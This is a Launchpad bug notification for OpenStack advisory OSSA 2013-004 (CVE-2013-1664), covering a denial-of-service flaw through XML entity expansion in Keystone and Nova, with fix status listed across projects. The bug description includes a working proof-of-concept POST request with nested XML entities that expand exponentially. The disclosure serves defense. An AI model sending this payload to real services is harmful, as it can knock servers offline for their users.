** No longer affects: nova/essex -- You received this bug notification because you are a member of Yahoo! Engineering Team, which is subscribed to OpenStack Compute (nova). https://bugs.launchpad.net/bugs/1100282
Title: [OSSA 2013-004] DoS through XML entity expansion (CVE-2013-1664) Status in Cinder: Fix Released Status in Cinder folsom series: Fix Released Status in OpenStack Identity (Keystone): Fix Released Status in Keystone essex series: Fix Released Status in Keystone folsom series: Fix Released Status in OpenStack Neutron (virtual network service): Fix Released Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) folsom series: Fix Released Status in The Oslo library incubator: Fix Released Status in oslo-incubator grizzly series: Fix Released Status in OpenStack Security Advisories: Fix Released Bug description: Jonathan Murray from NCC Group reported that you can DoS keystone servers using XML entities in Keystone requests. [ Joshua Harlow from Yahoo! independently reported the same issue plaguing Nova (using minidom). ] POST /v2.0/tokens HTTP/1.1 content-type: application/xml <!DOCTYPE foo [ <!ENTITY a "AAAA lots of As AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvAAAAAAAAAA" > <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;" > <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;" > ]> <auth> <tenantName>&c;</tenantName> <passwordCredentials> <username>&c;</username> <username>&c;</username> <username>&c;</username> <username>&c;</username> <password>&c;</password> <somethingElse>&c;</somethingElse> <somethingElse1>&c;</somethingElse1> <somethingElse2>&c;</somethingElse2> </passwordCredentials> </auth> In that precise case it might be an issue with the XML library we use, although it sounds generally safer to disable parsing ENTITY blocks entirely if we can. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1100282/+subscriptions -- Mailing list: https://launchpad.net/~yahoo-eng-team Post to : [email protected] Unsubscribe : https://launchpad.net/~yahoo-eng-team More help : https://help.launchpad.net/ListHelp
